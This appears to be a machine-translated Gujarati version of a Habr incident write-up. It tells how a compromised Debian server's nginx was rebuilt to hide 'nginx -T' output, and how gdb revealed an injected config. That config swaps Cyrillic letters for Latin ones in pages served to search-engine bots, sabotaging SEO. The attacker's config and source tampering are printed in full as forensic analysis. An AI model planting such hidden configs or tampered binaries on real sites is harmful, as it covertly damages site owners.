જ્યારે 'a' બરાબર 'a' નથી. હેકના પગલે

મારા એક મિત્ર સાથે સૌથી અપ્રિય વાર્તા બની. પરંતુ તે મિખાઇલ માટે જેટલું અપ્રિય હતું, તે મારા માટે એટલું જ મનોરંજક હતું.

મારે કહેવું જ જોઇએ કે મારો મિત્ર તદ્દન છે યુનિક્સ-વપરાશકર્તા: સિસ્ટમ જાતે ઇન્સ્ટોલ કરી શકે છે MySQL, PHP, અને સરળ સેટિંગ્સ કરો nginx.
અને તેની પાસે બાંધકામ સાધનોને સમર્પિત એક ડઝન કે દોઢ વેબસાઇટ્સ છે.

ચેઇનસોને સમર્પિત આ સાઇટ્સમાંથી એક સર્ચ એન્જિનના ટોપમાં નિશ્ચિતપણે બેસે છે. આ સાઇટ બિન-વ્યાવસાયિક સમીક્ષક છે, પરંતુ કોઈને તેના પર હુમલો કરવાની આદત પડી ગઈ છે. તે DDoS, પછી બ્રુટ ફોર્સ, પછી તેઓ અશ્લીલ ટિપ્પણીઓ લખે છે અને હોસ્ટિંગ અને RKN ને અપશબ્દો મોકલે છે.
અચાનક, બધું શાંત થઈ ગયું અને આ શાંતિ સારી ન હોવાનું બહાર આવ્યું, અને સાઇટ ધીમે ધીમે શોધ પરિણામોની ટોચની રેખાઓ છોડવાનું શરૂ કર્યું.

તે એક કહેવત હતી, પછી સંચાલકની વાર્તા.

સૂવાનો સમય નજીક હતો ત્યારે ફોન વાગ્યો: “સાન, તમે મારા સર્વરને જોશો નહીં? મને લાગે છે કે મને હેક કરવામાં આવ્યો હતો, હું તે સાબિત કરી શકતો નથી, પરંતુ લાગણીએ મને ત્રીજા અઠવાડિયા સુધી છોડ્યો નથી. કદાચ મારા માટે પેરાનોઇયાની સારવાર લેવાનો સમય આવી ગયો છે?"

ત્યારપછી અડધા કલાકની ચર્ચા હતી જેનો સારાંશ નીચે મુજબ છે:

• હેકિંગ માટેની જમીન તદ્દન ફળદ્રુપ હતી;
• હુમલાખોર સુપરયુઝર અધિકારો મેળવી શકે છે;
• હુમલો (જો તે થયો હોય તો) ખાસ કરીને આ સાઇટ પર નિશાન બનાવવામાં આવ્યો હતો;
• સમસ્યાવાળા વિસ્તારોને ઠીક કરવામાં આવ્યા છે અને તમારે ફક્ત તે સમજવાની જરૂર છે કે શું ત્યાં કોઈ ઘૂંસપેંઠ હતું;
• હેક સાઇટ કોડ અને ડેટાબેસેસને અસર કરી શક્યું નથી.

છેલ્લા મુદ્દા વિશે.

માત્ર સફેદ ફ્રન્ટએન્ડ IP વિશ્વમાં બહાર જુએ છે. http(s) સિવાય બેકએન્ડ અને ફ્રન્ટએન્ડ વચ્ચે કોઈ વિનિમય નથી, વપરાશકર્તાઓ/પાસવર્ડ અલગ છે, કોઈ કીની આપલે કરવામાં આવી નથી. ગ્રે એડ્રેસ પર, 80/443 સિવાયના તમામ પોર્ટ બંધ છે. વ્હાઇટ બેકએન્ડ આઇપી ફક્ત બે વપરાશકર્તાઓ માટે જ જાણીતા છે, જેમના પર મિખાઇલ સંપૂર્ણ વિશ્વાસ કરે છે.

ફ્રન્ટએન્ડ પર સ્થાપિત ડેબિયન 9 અને કૉલ કરવામાં આવે ત્યાં સુધીમાં, સિસ્ટમ બાહ્ય ફાયરવોલ દ્વારા વિશ્વથી અલગ થઈ જાય છે અને બંધ થઈ જાય છે.

"ઓકે, મને એક્સેસ આપો," મેં એક કલાક માટે ઊંઘ બંધ કરવાનું નક્કી કર્યું. "હું મારી પોતાની આંખોથી જોઈશ."

અહીં અને આગળ:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

સંભવિત હેક શોધી રહ્યાં છીએ

હું સર્વર શરૂ કરું છું, પ્રથમ માં બચાવ-મોડ. હું ડિસ્કને માઉન્ટ કરું છું અને તેમના દ્વારા ફ્લિપ કરું છું પ્રમાણીકરણ-લોગ ઇતિહાસ, સિસ્ટમ લૉગ્સ, વગેરે, જો શક્ય હોય તો, હું ફાઇલ બનાવવાની તારીખો તપાસું છું, જો કે હું સમજું છું કે સામાન્ય ક્રેકર પોતાની જાતને "સફળાઈ ગયો" હશે, અને જ્યારે તે પોતાને શોધી રહ્યો હતો ત્યારે મીશા પહેલેથી જ "કચડાઈ ગઈ હતી". .

હું સામાન્ય મોડમાં પ્રારંભ કરું છું, હજુ સુધી ખરેખર શું જોવું તે સમજાતું નથી, હું રૂપરેખાઓનો અભ્યાસ કરું છું. સૌ પ્રથમ, મને રસ છે nginx કારણ કે, સામાન્ય રીતે, તેના સિવાય અગ્રભાગ પર બીજું કંઈ નથી.
રૂપરેખાઓ નાની છે, એક ડઝન ફાઇલોમાં સારી રીતે સંરચિત છે, હું ફક્ત તેમના દ્વારા જોઉં છું બિલાડી'ઓહ એક પછી એક. બધું સ્વચ્છ લાગે છે, પરંતુ તમે ક્યારેય જાણતા નથી કે હું કંઈક ચૂકી ગયો હતો સમાવેશ થાય છે, મને સંપૂર્ણ સૂચિ બનાવવા દો:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

મને સમજાયું નહીં: "સૂચિ ક્યાં છે?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

સૂચિ પ્રશ્નમાં બીજો પ્રશ્ન ઉમેરવામાં આવ્યો છે: "શા માટે nginx નું આવું પ્રાચીન સંસ્કરણ?"

વધુમાં, સિસ્ટમ માને છે કે નવીનતમ સંસ્કરણ ઇન્સ્ટોલ કરેલું છે:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

હું કૉલ કરું છું:
- મીશા, તમે કેમ ફરીથી ભેગા થયા nginx?
- રાહ જુઓ, મને આ કેવી રીતે કરવું તે પણ ખબર નથી!
- સારું, સૂઈ જાઓ ...

Nginx તે સ્પષ્ટ રીતે પુનઃબીલ્ડ છે અને "-T" નો ઉપયોગ કરીને સૂચિનું આઉટપુટ એક કારણસર છુપાયેલ છે. હેકિંગ વિશે હવે કોઈ શંકા નથી અને તમે તેને સહજતાથી સ્વીકારી શકો છો અને (કેમ કે મીશાએ સર્વરને કોઈપણ રીતે નવા સાથે બદલ્યું છે) સમસ્યા હલ થઈ હોવાનું ધ્યાનમાં લો.

અને ખરેખર, કારણ કે કોઈને અધિકારો મળ્યા છે રુટ'આહ, પછી તે માત્ર કરવા માટે અર્થપૂર્ણ છે સિસ્ટમ પુનઃસ્થાપિત કરો, અને ત્યાં શું ખોટું હતું તે શોધવાનું નકામું હતું, પરંતુ આ વખતે જિજ્ઞાસાએ ઊંઘને ​​હરાવ્યું. તેઓ આપણાથી શું છુપાવવા માંગતા હતા તે આપણે કેવી રીતે શોધી શકીએ?

ચાલો ટ્રેસ કરવાનો પ્રયાસ કરીએ:

$ strace nginx -T

અમે તેને જોઈએ છીએ, ટ્રેસ a la માં સ્પષ્ટપણે પૂરતી રેખાઓ નથી

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

માત્ર આનંદ માટે, ચાલો તારણોની તુલના કરીએ.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

મને કોડનો એક ભાગ લાગે છે /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ફોર્મ પર લાવવામાં આવ્યું હતું:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

અથવા

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

તેથી "-T" દ્વારા સૂચિ પ્રદર્શિત થતી નથી.

પરંતુ આપણે આપણી રૂપરેખા કેવી રીતે જોઈ શકીએ?

જો મારો વિચાર સાચો હોય અને સમસ્યા માત્ર ચલમાં હોય ngx_dump_config ચાલો તેનો ઉપયોગ કરીને ઇન્સ્ટોલ કરવાનો પ્રયાસ કરીએ જીડીબી, સદભાગ્યે ત્યાં એક ચાવી છે --with-cc-opt -g પ્રસ્તુત કરો અને આશા રાખો કે ઑપ્ટિમાઇઝેશન -O2 તે અમને નુકસાન નહીં કરે. તે જ સમયે, કારણ કે મને ખબર નથી કે કેવી રીતે ngx_dump_config માં પ્રક્રિયા કરી શકાય છે કેસ 'T':, અમે આ બ્લોકને કૉલ કરીશું નહીં, પરંતુ તેનો ઉપયોગ કરીને ઇન્સ્ટોલ કરીશું કેસ 'ટી':

શા માટે તમે '-t' તેમજ '-T' નો ઉપયોગ કરી શકો છોબ્લોક પ્રોસેસિંગ જો(ngx_dump_config) અંદર થાય છે જો(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

અલબત્ત, જો કોડ આ ભાગમાં બદલાયેલ છે અને તેમાં નહીં કેસ 'T':, તો પછી મારી પદ્ધતિ કામ કરશે નહીં.

પરીક્ષણ nginx.confપ્રાયોગિક ધોરણે સમસ્યાને પહેલાથી જ હલ કર્યા પછી, તે સ્થાપિત કરવામાં આવ્યું હતું કે માલવેર કામ કરવા માટે ન્યૂનતમ રૂપરેખાંકન જરૂરી છે. nginx પ્રકાર:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

અમે લેખમાં સંક્ષિપ્તતા માટે તેનો ઉપયોગ કરીશું.

ડીબગર લોંચ કરો

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

પગલાંઓ:

• ફંક્શનમાં બ્રેકપોઇન્ટ સેટ કરો મુખ્ય()
• કાર્યક્રમ શરૂ કરો
• ચલની કિંમત બદલો જે રૂપરેખાનું આઉટપુટ નક્કી કરે છે ngx_dump_config=1
• પ્રોગ્રામ ચાલુ રાખો/સમાપ્ત કરો

જેમ આપણે જોઈ શકીએ છીએ, વાસ્તવિક રૂપરેખા આપણા કરતા અલગ છે, અમે તેમાંથી એક પરોપજીવી ભાગ પસંદ કરીએ છીએ:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ચાલો ક્રમમાં અહીં શું થઈ રહ્યું છે તેના પર એક નજર કરીએ.

નિર્ધારિત વપરાશકર્તા એજન્ટનું યાન્ડેક્સ/ગુગલ:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

સેવા પૃષ્ઠો બાકાત છે WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

અને ઉપરોક્ત બંને શરતો હેઠળ આવતા લોકો માટે

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

લખાણમાં HTML- પૃષ્ઠો બદલાય છે 'ઓ' પર 'ઓ' и 'એ' પર 'એ':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

તે સાચું છે, એકમાત્ર સૂક્ષ્મતા તે છે 'a' != 'a' જેમ 'ઓ' != 'ઓ':

આમ, સર્ચ એન્જિન બૉટો સામાન્ય 100% સિરિલિક ટેક્સ્ટને બદલે, લેટિન સાથે પાતળો કચરો મેળવે છે. 'એ' и 'ઓ'. આ એસઇઓ પર કેવી અસર કરે છે તેની ચર્ચા કરવાની હું હિંમત કરતો નથી, પરંતુ તે અસંભવિત છે કે અક્ષરોના આવા ગડબડથી શોધ પરિણામોમાં સ્થાનો પર હકારાત્મક અસર પડશે.

હું શું કહી શકું, કલ્પના સાથે ગાય્ઝ.

સંદર્ભો

GDB સાથે ડીબગીંગ
gdb(1) — Linux મેન પેજ
strace(1) — Linux મેન પેજ
Nginx - મોડ્યુલ ngx_http_sub_module
આરી, ચેઇનસો અને ઇલેક્ટ્રિક આરી વિશે

સોર્સ: www.habr.com